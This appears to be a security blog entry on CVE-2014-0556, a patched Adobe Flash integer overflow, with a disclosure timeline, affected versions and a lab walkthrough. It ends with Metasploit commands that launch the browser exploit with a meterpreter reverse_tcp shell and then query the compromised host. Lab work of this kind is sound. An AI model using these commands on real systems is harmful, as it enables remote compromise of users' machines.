Tag Archives: CVE-2014-0556

CVE-2014-0556 Adobe Flash Player copyPixelsToByteArray Method Integer Overflow

Timeline :

Vulnerability discovered by Chris Evans of Project Zero team at Google in 2014-07
Patched by the vendor via APSB14-21 the 2014–09-09
First public PoC provide by hdarwin on Packet Storm the 2014-09-30
Vulnerability reported integrated into exploit kits the 2014-10-20
Metasploit PoC provided the 2015-04-15

PoC provided by :

Chris Evans
Nicolas Joly
hdarwin
juan vazquez

Reference(s) :

CVE-2014-0556
APSB14-21

Affected version(s) :

Adobe Flash Player 14.0.0.179 and earlier versions

Tested on :

with Adobe Flash Player 14.0.0.176 (flashplayer14_0r0_176_winax.exe) and Internet Explorer 8 on Windows 7 SP1

Description :

This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in the copyPixelsToByteArray method from the BitmapData object. The position field of the destination ByteArray can be used to cause an integer overflow and write contents out of the ByteArray buffer. This module has been tested successfully on: * Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145, and 14.0.0.125. * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 14.0.0.179. * Windows 8.1, Firefox 38.0.5 and Adobe Flash 14.0.0.179.

Commands :

use exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid
sysinf